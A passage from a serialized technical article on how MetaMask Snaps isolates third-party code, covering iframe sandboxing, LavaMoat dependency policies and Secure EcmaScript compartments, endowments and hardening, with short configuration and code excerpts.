,{"type":30,"value":394},{"type":25,"tag":271,"props":49905,"children":49906},{"style":17388},[49907],{"type":30,"value":49908},"'data-testid'",{"type":25,"tag":271,"props":49910,"children":49911},{"style":13625},[49912],{"type":30,"value":44},{"type":25,"tag":271,"props":49914,"children":49915},{"style":17388},[49916],{"type":30,"value":49917},"'snaps-iframe'",{"type":25,"tag":271,"props":49919,"children":49920},{"style":13625},[49921],{"type":30,"value":13665},{"type":25,"tag":271,"props":49923,"children":49924},{"class":13593,"line":14391},[49925],{"type":25,"tag":271,"props":49926,"children":49927},{"emptyLinePlaceholder":18},[49928],{"type":30,"value":16829},{"type":25,"tag":271,"props":49930,"children":49931},{"class":13593,"line":14400},[49932,49936,49940,49945],{"type":25,"tag":271,"props":49933,"children":49934},{"style":16171},[49935],{"type":30,"value":25404},{"type":25,"tag":271,"props":49937,"children":49938},{"style":13625},[49939],{"type":30,"value":16213},{"type":25,"tag":271,"props":49941,"children":49942},{"style":13598},[49943],{"type":30,"value":49944},"sandbox",{"type":25,"tag":271,"props":49946,"children":49947},{"style":13625},[49948],{"type":30,"value":27925},{"type":25,"tag":271,"props":49950,"children":49951},{"class":13593,"line":16406},[49952,49957,49961,49965,49969,49974,49978,49983],{"type":25,"tag":271,"props":49953,"children":49954},{"style":13598},[49955],{"type":30,"value":49956},"      iframe",{"type":25,"tag":271,"props":49958,"children":49959},{"style":13625},[49960],{"type":30,"value":1860},{"type":25,"tag":271,"props":49962,"children":49963},{"style":13620},[49964],{"type":30,"value":49863},{"type":25,"tag":271,"props":49966,"children":49967},{"style":13625},[49968],{"type":30,"value":394},{"type":25,"tag":271,"props":49970,"children":49971},{"style":17388},[49972],{"type":30,"value":49973},"'sandbox'",{"type":25,"tag":271,"props":49975,"children":49976},{"style":13625},[49977],{"type":30,"value":44},{"type":25,"tag":271,"props":49979,"children":49980},{"style":17388},[49981],{"type":30,"value":49982},"'allow-scripts'",{"type":25,"tag":271,"props":49984,"children":49985},{"style":13625},[49986],{"type":30,"value":13665},{"type":25,"tag":271,"props":49988,"children":49989},{"class":13593,"line":16434},[49990],{"type":25,"tag":271,"props":49991,"children":49992},{"style":13625},[49993],{"type":30,"value":16501},{"type":25,"tag":271,"props":49995,"children":49996},{"class":13593,"line":16447},[49997,50001,50005,50009,50013,50018,50022,50027],{"type":25,"tag":271,"props":49998,"children":49999},{"style":13598},[50000],{"type":30,"value":49854},{"type":25,"tag":271,"props":50002,"children":50003},{"style":13625},[50004],{"type":30,"value":1860},{"type":25,"tag":271,"props":50006,"children":50007},{"style":13620},[50008],{"type":30,"value":49863},{"type":25,"tag":271,"props":50010,"children":50011},{"style":13625},[50012],{"type":30,"value":394},{"type":25,"tag":271,"props":50014,"children":50015},{"style":17388},[50016],{"type":30,"value":50017},"'src'",{"type":25,"tag":271,"props":50019,"children":50020},{"style":13625},[50021],{"type":30,"value":44},{"type":25,"tag":271,"props":50023,"children":50024},{"style":13598},[50025],{"type":30,"value":50026},"uri",{"type":25,"tag":271,"props":50028,"children":50029},{"style":13625},[50030],{"type":30,"value":13665},{"type":25,"tag":271,"props":50032,"children":50033},{"class":13593,"line":16465},[50034,50038,50042,50046,50050,50055,50059,50064],{"type":25,"tag":271,"props":50035,"children":50036},{"style":13598},[50037],{"type":30,"value":47784},{"type":25,"tag":271,"props":50039,"children":50040},{"style":13625},[50041],{"type":30,"value":1860},{"type":25,"tag":271,"props":50043,"children":50044},{"style":13598},[50045],{"type":30,"value":45512},{"type":25,"tag":271,"props":50047,"children":50048},{"style":13625},[50049],{"type":30,"value":1860},{"type":25,"tag":271,"props":50051,"children":50052},{"style":13620},[50053],{"type":30,"value":50054},"appendChild",{"type":25,"tag":271,"props":50056,"children":50057},{"style":13625},[50058],{"type":30,"value":394},{"type":25,"tag":271,"props":50060,"children":50061},{"style":13598},[50062],{"type":30,"value":50063},"iframe",{"type":25,"tag":271,"props":50065,"children":50066},{"style":13625},[50067],{"type":30,"value":13665},{"type":25,"tag":26,"props":50069,"children":50070},{},[50071],{"type":30,"value":50072},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":25,"tag":247,"props":50074,"children":50076},{"id":50075},"lavamoat-against-supply-chain-attacks-layer-2",[50077],{"type":30,"value":50078},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":25,"tag":26,"props":50080,"children":50081},{},[50082],{"type":30,"value":50083},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":25,"tag":26,"props":50085,"children":50086},{},[50087,50089,50095],{"type":30,"value":50088},"Malicious dependencies might utilize built-in modules like ",{"type":25,"tag":264,"props":50090,"children":50092},{"className":50091},[],[50093],{"type":30,"value":50094},"fs",{"type":30,"value":50096},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":25,"tag":26,"props":50098,"children":50099},{},[50100],{"type":30,"value":50101},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":25,"tag":26,"props":50103,"children":50104},{},[50105,50107,50114],{"type":30,"value":50106},"This is how a Policy file related to the iframes ",{"type":25,"tag":83,"props":50108,"children":50111},{"href":50109,"rel":50110},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[9066],[50112],{"type":30,"value":50113},"looks",{"type":30,"value":359},{"type":25,"tag":7764,"props":50116,"children":50118},{"className":47108,"code":50117,"language":47110,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[50119],{"type":25,"tag":264,"props":50120,"children":50121},{"__ignoreMap":7},[50122,50135,50147,50167,50187,50207,50227,50247,50267,50287,50304,50312,50324,50344,50360,50367],{"type":25,"tag":271,"props":50123,"children":50124},{"class":13593,"line":13594},[50125,50130],{"type":25,"tag":271,"props":50126,"children":50127},{"style":17388},[50128],{"type":30,"value":50129},"\"@metamask/post-message-stream\"",{"type":25,"tag":271,"props":50131,"children":50132},{"style":13625},[50133],{"type":30,"value":50134},": {\n",{"type":25,"tag":271,"props":50136,"children":50137},{"class":13593,"line":11641},[50138,50143],{"type":25,"tag":271,"props":50139,"children":50140},{"style":13598},[50141],{"type":30,"value":50142},"      \"globals\"",{"type":25,"tag":271,"props":50144,"children":50145},{"style":13625},[50146],{"type":30,"value":50134},{"type":25,"tag":271,"props":50148,"children":50149},{"class":13593,"line":14354},[50150,50155,50159,50163],{"type":25,"tag":271,"props":50151,"children":50152},{"style":13598},[50153],{"type":30,"value":50154},"        \"MessageEvent.prototype\"",{"type":25,"tag":271,"props":50156,"children":50157},{"style":13625},[50158],{"type":30,"value":28453},{"type":25,"tag":271,"props":50160,"children":50161},{"style":14289},[50162],{"type":30,"value":280},{"type":25,"tag":271,"props":50164,"children":50165},{"style":13625},[50166],{"type":30,"value":14351},{"type":25,"tag":271,"props":50168,"children":50169},{"class":13593,"line":14391},[50170,50175,50179,50183],{"type":25,"tag":271,"props":50171,"children":50172},{"style":13598},[50173],{"type":30,"value":50174},"        \"WorkerGlobalScope\"",{"type":25,"tag":271,"props":50176,"children":50177},{"style":13625},[50178],{"type":30,"value":28453},{"type":25,"tag":271,"props":50180,"children":50181},{"style":14289},[50182],{"type":30,"value":280},{"type":25,"tag":271,"props":50184,"children":50185},{"style":13625},[50186],{"type":30,"value":14351},{"type":25,"tag":271,"props":50188,"children":50189},{"class":13593,"line":14400},[50190,50195,50199,50203],{"type":25,"tag":271,"props":50191,"children":50192},{"style":13598},[50193],{"type":30,"value":50194},"        \"addEventListener\"",{"type":25,"tag":271,"props":50196,"children":50197},{"style":13625},[50198],{"type":30,"value":28453},{"type":25,"tag":271,"props":50200,"children":50201},{"style":14289},[50202],{"type":30,"value":280},{"type":25,"tag":271,"props":50204,"children":50205},{"style":13625},[50206],{"type":30,"value":14351},{"type":25,"tag":271,"props":50208,"children":50209},{"class":13593,"line":16406},[50210,50215,50219,50223],{"type":25,"tag":271,"props":50211,"children":50212},{"style":13598},[50213],{"type":30,"value":50214},"        \"browser\"",{"type":25,"tag":271,"props":50216,"children":50217},{"style":13625},[50218],{"type":30,"value":28453},{"type":25,"tag":271,"props":50220,"children":50221},{"style":14289},[50222],{"type":30,"value":280},{"type":25,"tag":271,"props":50224,"children":50225},{"style":13625},[50226],{"type":30,"value":14351},{"type":25,"tag":271,"props":50228,"children":50229},{"class":13593,"line":16434},[50230,50235,50239,50243],{"type":25,"tag":271,"props":50231,"children":50232},{"style":13598},[50233],{"type":30,"value":50234},"        \"chrome\"",{"type":25,"tag":271,"props":50236,"children":50237},{"style":13625},[50238],{"type":30,"value":28453},{"type":25,"tag":271,"props":50240,"children":50241},{"style":14289},[50242],{"type":30,"value":280},{"type":25,"tag":271,"props":50244,"children":50245},{"style":13625},[50246],{"type":30,"value":14351},{"type":25,"tag":271,"props":50248,"children":50249},{"class":13593,"line":16447},[50250,50255,50259,50263],{"type":25,"tag":271,"props":50251,"children":50252},{"style":13598},[50253],{"type":30,"value":50254},"        \"location.origin\"",{"type":25,"tag":271,"props":50256,"children":50257},{"style":13625},[50258],{"type":30,"value":28453},{"type":25,"tag":271,"props":50260,"children":50261},{"style":14289},[50262],{"type":30,"value":280},{"type":25,"tag":271,"props":50264,"children":50265},{"style":13625},[50266],{"type":30,"value":14351},{"type":25,"tag":271,"props":50268,"children":50269},{"class":13593,"line":16465},[50270,50275,50279,50283],{"type":25,"tag":271,"props":50271,"children":50272},{"style":13598},[50273],{"type":30,"value":50274},"        \"postMessage\"",{"type":25,"tag":271,"props":50276,"children":50277},{"style":13625},[50278],{"type":30,"value":28453},{"type":25,"tag":271,"props":50280,"children":50281},{"style":14289},[50282],{"type":30,"value":280},{"type":25,"tag":271,"props":50284,"children":50285},{"style":13625},[50286],{"type":30,"value":14351},{"type":25,"tag":271,"props":50288,"children":50289},{"class":13593,"line":16486},[50290,50295,50299],{"type":25,"tag":271,"props":50291,"children":50292},{"style":13598},[50293],{"type":30,"value":50294},"        \"removeEventListener\"",{"type":25,"tag":271,"props":50296,"children":50297},{"style":13625},[50298],{"type":30,"value":28453},{"type":25,"tag":271,"props":50300,"children":50301},{"style":14289},[50302],{"type":30,"value":50303},"true\n",{"type":25,"tag":271,"props":50305,"children":50306},{"class":13593,"line":16495},[50307],{"type":25,"tag":271,"props":50308,"children":50309},{"style":13625},[50310],{"type":30,"value":50311},"      },\n",{"type":25,"tag":271,"props":50313,"children":50314},{"class":13593,"line":16744},[50315,50320],{"type":25,"tag":271,"props":50316,"children":50317},{"style":13598},[50318],{"type":30,"value":50319},"      \"packages\"",{"type":25,"tag":271,"props":50321,"children":50322},{"style":13625},[50323],{"type":30,"value":50134},{"type":25,"tag":271,"props":50325,"children":50326},{"class":13593,"line":16761},[50327,50332,50336,50340],{"type":25,"tag":271,"props":50328,"children":50329},{"style":13598},[50330],{"type":30,"value":50331},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":25,"tag":271,"props":50333,"children":50334},{"style":13625},[50335],{"type":30,"value":28453},{"type":25,"tag":271,"props":50337,"children":50338},{"style":14289},[50339],{"type":30,"value":280},{"type":25,"tag":271,"props":50341,"children":50342},{"style":13625},[50343],{"type":30,"value":14351},{"type":25,"tag":271,"props":50345,"children":50346},{"class":13593,"line":16778},[50347,50352,50356],{"type":25,"tag":271,"props":50348,"children":50349},{"style":13598},[50350],{"type":30,"value":50351},"        \"@metamask/post-message-stream>readable-stream\"",{"type":25,"tag":271,"props":50353,"children":50354},{"style":13625},[50355],{"type":30,"value":28453},{"type":25,"tag":271,"props":50357,"children":50358},{"style":14289},[50359],{"type":30,"value":50303},{"type":25,"tag":271,"props":50361,"children":50362},{"class":13593,"line":16791},[50363],{"type":25,"tag":271,"props":50364,"children":50365},{"style":13625},[50366],{"type":30,"value":25789},{"type":25,"tag":271,"props":50368,"children":50369},{"class":13593,"line":16800},[50370],{"type":25,"tag":271,"props":50371,"children":50372},{"style":13625},[50373],{"type":30,"value":16501},{"type":25,"tag":26,"props":50375,"children":50376},{},[50377,50379,50385,50387,50393,50395,50401,50403,50409,50410,50416],{"type":30,"value":50378},"One crucial aspect of the policy, apart from the ",{"type":25,"tag":264,"props":50380,"children":50382},{"className":50381},[],[50383],{"type":30,"value":50384},"globals",{"type":30,"value":50386}," section, is the ",{"type":25,"tag":264,"props":50388,"children":50390},{"className":50389},[],[50391],{"type":30,"value":50392},"packages",{"type":30,"value":50394}," segment. This section permits the ",{"type":25,"tag":264,"props":50396,"children":50398},{"className":50397},[],[50399],{"type":30,"value":50400},"@metamask/post-message-stream",{"type":30,"value":50402},"package to exclusively interact with the package ",{"type":25,"tag":264,"props":50404,"children":50406},{"className":50405},[],[50407],{"type":30,"value":50408},"@metamask/utils",{"type":30,"value":12218},{"type":25,"tag":264,"props":50411,"children":50413},{"className":50412},[],[50414],{"type":30,"value":50415},"readable-stream",{"type":30,"value":50417},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":25,"tag":26,"props":50419,"children":50420},{},[50421,50423,50429],{"type":30,"value":50422},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":25,"tag":264,"props":50424,"children":50426},{"className":50425},[],[50427],{"type":30,"value":50428},"lockdown",{"type":30,"value":50430}," function to freeze all javascript builtins prototypes.",{"type":25,"tag":247,"props":50432,"children":50434},{"id":50433},"secure-ecmascript-ses-sandbox-layer-3",[50435],{"type":30,"value":50436},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":25,"tag":26,"props":50438,"children":50439},{},[50440,50442,50449],{"type":30,"value":50441},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":25,"tag":83,"props":50443,"children":50446},{"href":50444,"rel":50445},"https://github.com/endojs/endo/tree/master/packages/ses",[9066],[50447],{"type":30,"value":50448},"Secure EcmaScript (SES)",{"type":30,"value":50450}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":25,"tag":2352,"props":50452,"children":50454},{"id":50453},"ses-fundamentals",[50455],{"type":30,"value":50456},"SES Fundamentals",{"type":25,"tag":50458,"props":50459,"children":50460},"h5",{"id":50428},[50461],{"type":30,"value":50462},"Lockdown",{"type":25,"tag":26,"props":50464,"children":50465},{},[50466,50468,50474],{"type":30,"value":50467},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":25,"tag":264,"props":50469,"children":50471},{"className":50470},[],[50472],{"type":30,"value":50473},"lockdown()",{"type":30,"value":50475}," function, which protects javascript objects against some attacks, mainly:",{"type":25,"tag":661,"props":50477,"children":50478},{},[50479,50492],{"type":25,"tag":112,"props":50480,"children":50481},{},[50482,50484,50490],{"type":30,"value":50483},"Prototype Pollution\nLockdown executes ",{"type":25,"tag":264,"props":50485,"children":50487},{"className":50486},[],[50488],{"type":30,"value":50489},"Object.freeze",{"type":30,"value":50491}," against all javascript builtins prototypes, preventing these attacks.",{"type":25,"tag":112,"props":50493,"children":50494},{},[50495,50497,50503,50505,50510],{"type":30,"value":50496},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":25,"tag":264,"props":50498,"children":50500},{"className":50499},[],[50501],{"type":30,"value":50502},"trace",{"type":30,"value":50504}," attribute in an ",{"type":25,"tag":264,"props":50506,"children":50508},{"className":50507},[],[50509],{"type":30,"value":14443},{"type":30,"value":50511}," object, which contains the stack trace of the error.",{"type":25,"tag":50458,"props":50513,"children":50515},{"id":50514},"compartment",[50516],{"type":30,"value":50517},"Compartment",{"type":25,"tag":26,"props":50519,"children":50520},{},[50521,50523,50529,50531,50536],{"type":30,"value":50522},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":25,"tag":264,"props":50524,"children":50526},{"className":50525},[],[50527],{"type":30,"value":50528},"globalThis",{"type":30,"value":50530}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":25,"tag":264,"props":50532,"children":50534},{"className":50533},[],[50535],{"type":30,"value":50528},{"type":30,"value":50537}," context is incapable of tampering with security.",{"type":25,"tag":7764,"props":50539,"children":50541},{"className":48725,"code":50540,"language":48727,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[50542],{"type":25,"tag":264,"props":50543,"children":50544},{"__ignoreMap":7},[50545,50574,50607],{"type":25,"tag":271,"props":50546,"children":50547},{"class":13593,"line":13594},[50548,50552,50557,50561,50565,50570],{"type":25,"tag":271,"props":50549,"children":50550},{"style":14289},[50551],{"type":30,"value":22778},{"type":25,"tag":271,"props":50553,"children":50554},{"style":13598},[50555],{"type":30,"value":50556}," c",{"type":25,"tag":271,"props":50558,"children":50559},{"style":13603},[50560],{"type":30,"value":16155},{"type":25,"tag":271,"props":50562,"children":50563},{"style":14289},[50564],{"type":30,"value":45045},{"type":25,"tag":271,"props":50566,"children":50567},{"style":13620},[50568],{"type":30,"value":50569}," Compartment",{"type":25,"tag":271,"props":50571,"children":50572},{"style":13625},[50573],{"type":30,"value":16820},{"type":25,"tag":271,"props":50575,"children":50576},{"class":13593,"line":11641},[50577,50581,50585,50589,50593,50598,50602],{"type":25,"tag":271,"props":50578,"children":50579},{"style":13598},[50580],{"type":30,"value":13243},{"type":25,"tag":271,"props":50582,"children":50583},{"style":13625},[50584],{"type":30,"value":1860},{"type":25,"tag":271,"props":50586,"children":50587},{"style":13598},[50588],{"type":30,"value":50528},{"type":25,"tag":271,"props":50590,"children":50591},{"style":13603},[50592],{"type":30,"value":44534},{"type":25,"tag":271,"props":50594,"children":50595},{"style":13598},[50596],{"type":30,"value":50597}," globalThis",{"type":25,"tag":271,"props":50599,"children":50600},{"style":13625},[50601],{"type":30,"value":30349},{"type":25,"tag":271,"props":50603,"children":50604},{"style":14385},[50605],{"type":30,"value":50606},"// false\n",{"type":25,"tag":271,"props":50608,"children":50609},{"class":13593,"line":14354},[50610,50614,50618,50622,50626,50631,50635,50640,50644],{"type":25,"tag":271,"props":50611,"children":50612},{"style":13598},[50613],{"type":30,"value":13243},{"type":25,"tag":271,"props":50615,"children":50616},{"style":13625},[50617],{"type":30,"value":1860},{"type":25,"tag":271,"props":50619,"children":50620},{"style":13598},[50621],{"type":30,"value":50528},{"type":25,"tag":271,"props":50623,"children":50624},{"style":13625},[50625],{"type":30,"value":1860},{"type":25,"tag":271,"props":50627,"children":50628},{"style":13598},[50629],{"type":30,"value":50630},"JSON",{"type":25,"tag":271,"props":50632,"children":50633},{"style":13603},[50634],{"type":30,"value":44534},{"type":25,"tag":271,"props":50636,"children":50637},{"style":13598},[50638],{"type":30,"value":50639}," JSON",{"type":25,"tag":271,"props":50641,"children":50642},{"style":13625},[50643],{"type":30,"value":30349},{"type":25,"tag":271,"props":50645,"children":50646},{"style":14385},[50647],{"type":30,"value":50648},"// true\n",{"type":25,"tag":26,"props":50650,"children":50651},{},[50652,50654,50659,50661,50667,50669,50674],{"type":30,"value":50653},"Compartment also changes the behaviour of evaluators functions such as ",{"type":25,"tag":264,"props":50655,"children":50657},{"className":50656},[],[50658],{"type":30,"value":8917},{"type":30,"value":50660}," and the ",{"type":25,"tag":264,"props":50662,"children":50664},{"className":50663},[],[50665],{"type":30,"value":50666},"Function",{"type":30,"value":50668}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":25,"tag":264,"props":50670,"children":50672},{"className":50671},[],[50673],{"type":30,"value":50528},{"type":30,"value":1860},{"type":25,"tag":50458,"props":50676,"children":50678},{"id":50677},"endowments",[50679],{"type":30,"value":50680},"Endowments",{"type":25,"tag":26,"props":50682,"children":50683},{},[50684,50686,50690,50692,50697],{"type":30,"value":50685},"While creating a Compartment, it is possible to specify ",{"type":25,"tag":10281,"props":50687,"children":50688},{},[50689],{"type":30,"value":50677},{"type":30,"value":50691},". These endowments constitute objects that become accessible within the Compartment's ",{"type":25,"tag":264,"props":50693,"children":50695},{"className":50694},[],[50696],{"type":30,"value":50528},{"type":30,"value":50698},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":25,"tag":26,"props":50700,"children":50701},{},[50702,50704,50710],{"type":30,"value":50703},"In addition, SES provides the ",{"type":25,"tag":264,"props":50705,"children":50707},{"className":50706},[],[50708],{"type":30,"value":50709},"harden()",{"type":30,"value":50711}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":25,"tag":2352,"props":50713,"children":50715},{"id":50714},"setting-up-snaps-execution-env",[50716],{"type":30,"value":50717},"Setting up Snaps Execution Env",{"type":25,"tag":26,"props":50719,"children":50720},{},[50721],{"type":30,"value":50722},"When starting a snap, the setup follows these steps:",{"type":25,"tag":661,"props":50724,"children":50725},{},[50726],{"type":25,"tag":112,"props":50727,"children":50728},{},[50729],{"type":25,"tag":38,"props":50730,"children":50731},{},[50732,50734],{"type":30,"value":50733},"Create endowments based on snap ",{"type":25,"tag":83,"props":50735,"children":50738},{"href":50736,"rel":50737},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[9066],[50739],{"type":30,"value":50740},"permissions",{"type":25,"tag":7764,"props":50742,"children":50744},{"className":48725,"code":50743,"language":48727,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[50745],{"type":25,"tag":264,"props":50746,"children":50747},{"__ignoreMap":7},[50748,50798,50810,50821,50833,50845],{"type":25,"tag":271,"props":50749,"children":50750},{"class":13593,"line":13594},[50751,50755,50759,50763,50767,50772,50776,50781,50785,50789,50794],{"type":25,"tag":271,"props":50752,"children":50753},{"style":14289},[50754],{"type":30,"value":22778},{"type":25,"tag":271,"props":50756,"children":50757},{"style":13625},[50758],{"type":30,"value":22709},{"type":25,"tag":271,"props":50760,"children":50761},{"style":13598},[50762],{"type":30,"value":50677},{"type":25,"tag":271,"props":50764,"children":50765},{"style":13625},[50766],{"type":30,"value":44},{"type":25,"tag":271,"props":50768,"children":50769},{"style":13598},[50770],{"type":30,"value":50771},"teardown",{"type":25,"tag":271,"props":50773,"children":50774},{"style":13625},[50775],{"type":30,"value":28453},{"type":25,"tag":271,"props":50777,"children":50778},{"style":13598},[50779],{"type":30,"value":50780},"endowmentTeardown",{"type":25,"tag":271,"props":50782,"children":50783},{"style":13625},[50784],{"type":30,"value":49314},{"type":25,"tag":271,"props":50786,"children":50787},{"style":13603},[50788],{"type":30,"value":1065},{"type":25,"tag":271,"props":50790,"children":50791},{"style":13620},[50792],{"type":30,"value":50793}," createEndowments",{"type":25,"tag":271,"props":50795,"children":50796},{"style":13625},[50797],{"type":30,"value":16609},{"type":25,"tag":271,"props":50799,"children":50800},{"class":13593,"line":11641},[50801,50806],{"type":25,"tag":271,"props":50802,"children":50803},{"style":13598},[50804],{"type":30,"value":50805},"    snap",{"type":25,"tag":271,"props":50807,"children":50808},{"style":13625},[50809],{"type":30,"value":14351},{"type":25,"tag":271,"props":50811,"children":50812},{"class":13593,"line":14354},[50813,50817],{"type":25,"tag":271,"props":50814,"children":50815},{"style":13598},[50816],{"type":30,"value":44596},{"type":25,"tag":271,"props":50818,"children":50819},{"style":13625},[50820],{"type":30,"value":14351},{"type":25,"tag":271,"props":50822,"children":50823},{"class":13593,"line":14391},[50824,50829],{"type":25,"tag":271,"props":50825,"children":50826},{"style":13598},[50827],{"type":30,"value":50828},"    snapId",{"type":25,"tag":271,"props":50830,"children":50831},{"style":13625},[50832],{"type":30,"value":14351},{"type":25,"tag":271,"props":50834,"children":50835},{"class":13593,"line":14400},[50836,50841],{"type":25,"tag":271,"props":50837,"children":50838},{"style":13598},[50839],{"type":30,"value":50840},"    _endowments",{"type":25,"tag":271,"props":50842,"children":50843},{"style":13625},[50844],{"type":30,"value":14351},{"type":25,"tag":271,"props":50846,"children":50847},{"class":13593,"line":16406},[50848],{"type":25,"tag":271,"props":50849,"children":50850},{"style":13625},[50851],{"type":30,"value":13665},{"type":25,"tag":26,"props":50853,"children":50854},{},[50855],{"type":30,"value":50856},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":25,"tag":26,"props":50858,"children":50859},{},[50860,50862,50868,50870,50876],{"type":30,"value":50861},"One clear example is the ",{"type":25,"tag":264,"props":50863,"children":50865},{"className":50864},[],[50866],{"type":30,"value":50867},"endowment:network-access",{"type":30,"value":50869}," permission, that adds the ",{"type":25,"tag":264,"props":50871,"children":50873},{"className":50872},[],[50874],{"type":30,"value":50875},"fetch()",{"type":30,"value":50877}," function to the endowments.",{"type":25,"tag":26,"props":50879,"children":50880},{},[50881,50883,50889],{"type":30,"value":50882},"All endowments are protected with the ",{"type":25,"tag":264,"props":50884,"children":50886},{"className":50885},[],[50887],{"type":30,"value":50888},"harden",{"type":30,"value":50890}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":25,"tag":661,"props":50892,"children":50893},{"start":11641},[50894],{"type":25,"tag":112,"props":50895,"children":50896},{},[50897],{"type":25,"tag":38,"props":50898,"children":50899},{},[50900,50902],{"type":30,"value":50901},"Create the snap ",{"type":25,"tag":83,"props":50903,"children":50906},{"href":50904,"rel":50905},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[9066],[50907],{"type":30,"value":50514},{"type":25,"tag":7764,"props":50909,"children":50911},{"className":48725,"code":50910,"language":48727,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[50912],{"type":25,"tag":264,"props":50913,"children":50914},{"__ignoreMap":7},[50915,50943,50959,50976,51001],{"type":25,"tag":271,"props":50916,"children":50917},{"class":13593,"line":13594},[50918,50922,50927,50931,50935,50939],{"type":25,"tag":271,"props":50919,"children":50920},{"style":14289},[50921],{"type":30,"value":22778},{"type":25,"tag":271,"props":50923,"children":50924},{"style":13598},[50925],{"type":30,"value":50926}," compartment",{"type":25,"tag":271,"props":50928,"children":50929},{"style":13603},[50930],{"type":30,"value":16155},{"type":25,"tag":271,"props":50932,"children":50933},{"style":14289},[50934],{"type":30,"value":45045},{"type":25,"tag":271,"props":50936,"children":50937},{"style":13620},[50938],{"type":30,"value":50569},{"type":25,"tag":271,"props":50940,"children":50941},{"style":13625},[50942],{"type":30,"value":28262},{"type":25,"tag":271,"props":50944,"children":50945},{"class":13593,"line":11641},[50946,50951,50955],{"type":25,"tag":271,"props":50947,"children":50948},{"style":13603},[50949],{"type":30,"value":50950},"    ...",{"type":25,"tag":271,"props":50952,"children":50953},{"style":13598},[50954],{"type":30,"value":50677},{"type":25,"tag":271,"props":50956,"children":50957},{"style":13625},[50958],{"type":30,"value":14351},{"type":25,"tag":271,"props":50960,"children":50961},{"class":13593,"line":14354},[50962,50967,50972],{"type":25,"tag":271,"props":50963,"children":50964},{"style":13598},[50965],{"type":30,"value":50966},"    module:",{"type":25,"tag":271,"props":50968,"children":50969},{"style":13598},[50970],{"type":30,"value":50971}," snapModule",{"type":25,"tag":271,"props":50973,"children":50974},{"style":13625},[50975],{"type":30,"value":14351},{"type":25,"tag":271,"props":50977,"children":50978},{"class":13593,"line":14391},[50979,50984,50988,50992,50997],{"type":25,"tag":271,"props":50980,"children":50981},{"style":13598},[50982],{"type":30,"value":50983},"    exports:",{"type":25,"tag":271,"props":50985,"children":50986},{"style":13598},[50987],{"type":30,"value":50971},{"type":25,"tag":271,"props":50989,"children":50990},{"style":13625},[50991],{"type":30,"value":1860},{"type":25,"tag":271,"props":50993,"children":50994},{"style":13598},[50995],{"type":30,"value":50996},"exports",{"type":25,"tag":271,"props":50998,"children":50999},{"style":13625},[51000],{"type":30,"value":14351},{"type":25,"tag":271,"props":51002,"children":51003},{"class":13593,"line":14400},[51004],{"type":25,"tag":271,"props":51005,"children":51006},{"style":13625},[51007],{"type":30,"value":48449},{"type":25,"tag":26,"props":51009,"children":51010},{},[51011,51013,51019,51020,51025,51027,51032],{"type":30,"value":51012},"Note: ",{"type":25,"tag":264,"props":51014,"children":51016},{"className":51015},[],[51017],{"type":30,"value":51018},"module",{"type":30,"value":12218},{"type":25,"tag":264,"props":51021,"children":51023},{"className":51022},[],[51024],{"type":30,"value":50996},{"type":30,"value":51026}," are passed as endowments, but without being ",{"type":25,"tag":10281,"props":51028,"children":51029},{},[51030],{"type":30,"value":51031},"hardened",{"type":30,"value":51033},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":25,"tag":661,"props":51035,"children":51036},{"start":14354},[51037],{"type":25,"tag":112,"props":51038,"children":51039},{},[51040],{"type":25,"tag":38,"props":51041,"children":51042},{},[51043,51045],{"type":30,"value":51044},"Evaluate the snap code inside the 